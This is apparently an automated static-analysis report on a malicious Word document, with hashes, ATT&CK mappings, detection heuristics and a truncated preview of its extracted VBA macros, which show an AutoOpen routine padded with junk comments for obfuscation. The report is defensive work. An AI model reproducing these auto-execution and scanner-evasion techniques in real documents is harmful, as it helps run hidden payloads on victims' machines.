Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4f4555801e720272…

MALICIOUS

Office (OLE)

140.1 KB Created: 2019-05-03 12:46:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: b557fb7271c168836abf07b0afbf34c6 SHA-1: d691e740380cafc3e59f0a13c1b4ed5b6ad29491 SHA-256: 4f4555801e720272027a316c161222b2406e8de9b1f47b9dfb4b1a7a90158cde
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen function, indicating immediate execution upon opening. The script utilizes GetObject and CreateObject to launch the Win32_Process service, a common technique for executing arbitrary commands or payloads. The obfuscated string 'winmgmts' further suggests an attempt to hide malicious activity, likely to download and execute a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-6961489-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6961489-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8957 bytes
SHA-256: dee0424136e9ece7f100919393e002b15d6858d55de6b70c8aee377ba70892c8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "i4775_1"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "t870371"
Attribute VB_Base = "0{7A24E517-5945-4E44-BA2E-D83EB7FB6510}{3083BCAC-3F02-4E1B-93B3-7A3A08A25229}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "q195028"

Attribute VB_Name = "i95407"

Attribute VB_Name = "r105375"

Attribute VB_Name = "h_82006"
Attribute VB_Base = "0{BA76CE68-1E81-4F53-92DB-EB08601CFE07}{663FFD15-E62F-4983-A8A7-3C74811A86AB}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "P829996"
Function h23_29(X08110_5)
   With l83639
'.u0185198 = (Log(E7810677) + 143575590 * L90255)
'.w33213 = (Log(a980813) + 644438578 * j83_6869)
'.I7_857 = (Log(r6705_19) + 456622172 * H733599)
'.m77475 = (Log(r1620695) + 363532037 * S08324)
End With
   With J_715__7
'.K0457315 = (Log(T673832) + 512454582 * b346405)
'.d4363410 = (Log(X51725) + 816329316 * d27738)
'.c02995 = (Log(Q2_5084) + 584561268 * z673266)
'.n_9190 = (Log(E468161) + 794594767 * w3_91499)
End With
   With S60783_4
'.M66661 = (Log(B__543) + 150566433 * f4_086_)
'.O37636 = (Log(p4110293) + 615561529 * E852_13)
'.L7_615 = (Log(d6961550) + 879755822 * H371_544)
'.h6__28 = (Log(a155982) + 815641020 * R_4166)
End With
Set h23_29 = CVar(X08110_5)
   With u60_7025
'.V72697_3 = (Log(A_3__283) + 386936509 * N76_03)
'.M4841426 = (Log(t322__5) + 303132629 * J788492_)
'.u5_3964 = (Log(j08386) + 435712841 * j77673)
'.i1_432_ = (Log(Z405679) + 151380712 * b5_2_9)
End With
   With C2920__
'.o7_952_ = (Log(C400773) + 993230100 * I62029)
'.H0015_ = (Log(A47027) + 697335416 * m82138)
'.B61890_2 = (Log(R610_547) + 825492041 * w699042)
'.z32356 = (Log(N678305) + 872613838 * k9880451)
End With
End Function
Sub autoopen()
On Error Resume Next
   With l037_502
'.R44428 = (Log(P68_7685) + 405846352 * X3162__)
'.n8067559 = (Log(S47897) + 6016402 * j07431)
'.P93522 = (Log(d7342206) + 102557616 * r64_2_)
'.F2575051 = (Log(w23482_9) + 652790702 * z1360_6)
End With
   With S9952047
'.D72_2675 = (Log(s3937856) + 612120789 * H06198)
'.k79948_4 = (Log(r7035_0) + 137596869 * z18660)
'.j0494674 = (Log(Z7841_9) + 55895129 * T62702_8)
'.O59276 = (Log(O57205) + 643625693 * f_98681)
End With
   With U53303
'.m0191_ = (Log(v_0479_) + 417481928 * D52502)
'.G85233 = (Log(A312__8) + 648569143 * H_52019)
'.V_4_00_9 = (Log(q97729) + 774758285 * K196_310)
'.r5466468 = (Log(M13167) + 838249951 * P418168)
End With
Call E0484000
   With u_88__4
'.Z_6359 = (Log(v657_745) + 77999753 * d346512)
'.B8359636 = (Log(G0622_) + 288489601 * r558460)
'.X124_2 = (Log(R19549) + 155639836 * h1226239)
'.i_00_61 = (Log(z0_53_) + 649181350 * A68395)
End With
   With s_399863
'.Y02_033 = (Log(h020456) + 322164306 * p259534)
'.v8542_90 = (Log(w95_7_4) + 405072418 * u48676)
'.I99756 = (Log(M6_0773_) + 92469226 * H092089)
'.z097888 = (Log(S5_6799) + 437291550 * R195_21)
End With
   With C_0_6_93
'.H_985192 = (Log(m43781) + 795427723 * u78_1849)
'.J9073_4 = (Log(f736295) + 800426904 * f967423)
'.n12478 = (Log(s918493) + 8363732 * G6270457)
'.J75_6357 = (Log(j94471) + 890462035 * z47_52)
End With
End Sub

Attribute VB_Name = "K0_112"
Function E0484000()
On Error Resume Next
   With G214862
'.b547814 = (Log(Y7198282) + 42574356 * i_71032_)
'.q5659460 = (Log(S2__274) + 454186019 * J8201793)
'.w48_827 = (Log(q236756_) + 665420251 * z89692)
'.O364226 = (Log(A3_1075) + 563093067 * c67723)
End With
   With i22701
'.M482_6 = (Log(r790_929) + 832142048 * K23_231)
'
... (truncated)

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